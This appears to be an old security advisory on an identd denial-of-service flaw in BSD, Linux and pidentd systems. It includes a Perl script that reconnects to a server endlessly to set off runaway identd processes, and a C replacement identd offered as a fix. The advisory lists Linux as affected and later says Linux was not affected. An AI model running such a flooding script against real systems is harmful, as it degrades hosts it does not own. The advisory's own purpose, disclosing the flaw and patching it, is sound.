COMMAND
identd
SYSTEMS AFFECTED
FreeBSD, NetBSD, and OpenBSD prior to 8/1/97, Linux, ANY system
running pidentd.
PROBLEM
Following info is based on Corinne Posse Security Notice about
"denial of service care of identd". A massive amount of ident
requests causes the identd daemon to "spin" because the daemon
does not correctly close the socket from the host that issues a
request. This is due to a poorly implemented incantation of
wait(). The improper code perpetuates the identd process and
allows the process to hang, slowing system performance
considerably. On average, 2-3 spinning processes slow the system
noticeably-- 10-15 make the system unusable. Bear in mind that
this is all based on the speed of the system and the above
numbers hold true for machines like a p5/100 with 32M of RAM.
Simply "kill -9 (ident's PIDs)" fixes the problem if it occurs.
This problem was discovered simultaneously by Jack0 as well as
Jonathan Katz. Jack0 noticed that a user's repeated requests to
an IRC server spawned many identd processes on his local machine,
bringing his box to a crawl. Jon noticed that after someone sent
email to the various mailing lists he runs, the many hosts
receiving the mail would make ident requests and leave his system
paralyzed. To see if your system is vulnerable, Jack0 has come up
with a PERL script that repeatedly tries to connect to an IRC
server. With a little tinkering, the script can be used to adapt
to a variety of different services if you want or need to test
other services.
#!/usr/bin/perl
# Ident abuse script which can be used to test for the identd vulnerability
# on the local system.
# jack0@cpio.org for questions
#include <Socket.pm>
use Socket;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]";
$p = 6667 if (!$ARGV[1]);
if (!$h) {
print "Host name most be specified i.e.,; some.server.net\n";
}
$in_addr = (gethostbyname($h))[4];
$addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
&connect;
sub connect {
print "Connection in progress:\n";
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
connect(S,$addr) or die $!;
select S;
$| = 1;
print "QUIT\n";
select STDOUT;
close S;
&connect;
}
SOLUTION
Thanks to Theo de Raadt of the OpenBSD project, OpenBSD has fixed
this problem. That patch is now incorporated into the main
Pidentd distribution as of version 2.8a4 now available on:
ftp://ftp.lysator.liu.se/pub/ident/servers/pidentd-2.8a4.tar.gz
Phillip R. Jaenke posted fix for Linux. Compile with
gcc -Wall -O3 -m486 identd.c -o identd
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/time.h>
#include <ctype.h>
#include <string.h>
int writeranduser(void)
{
int r;
char username[12];
srandom(getpid());
memset(username, 0, 12);
r = random() % 26;
r = r + 'a';
memset(username, r, 11);
if(write(1, username, strlen(username)) < strlen(username))
exit(0);
return 1;
}
int main(int argc, char **argv)
{
char genrandomuser = 1;
char *portpair = NULL;
fd_set rset;
struct timeval tv;
int i;
if(argc > 1) genrandomuser = 0;
portpair = malloc(1024);
if(!portpair)
exit(0);
memset(portpair, 0, 1024);
tv.tv_sec = 180;
tv.tv_usec = 0;
FD_ZERO(&rset);
FD_SET(0, &rset);
i = select(1, &rset, NULL, NULL, &tv);
if(i < 1)
exit(0);
if(read(0, portpair, 512) < 1)
exit(0);
while(*portpair)
{
if(isdigit(*portpair))
if(write(1, portpair, 1) < 0)
exit(0);
else;
else if(*portpair == ',')
if(write(1, portpair, 1) < 0)
exit(0);
else;
portpair++;
}
if(write(1, " : USERID : UNIX : ", 19) < 19)
exit(0);
if(!genrandomuser)
if(write(1, argv[1], strlen(argv[1])) < strlen(argv[1]))
exit(0);
else;
else
writeranduser();
if(write(1, "\r\n", 2) < 2)
exit(0);
return 1;
}
This bug did not affect HP-UX, SVR4 (Solaris et al), IRIX, UNICOS,
A/UX, SCO or Linux since they support the "signal(SIGCHLD,
SIG_IGN)" way of automatically disposing of dead children.)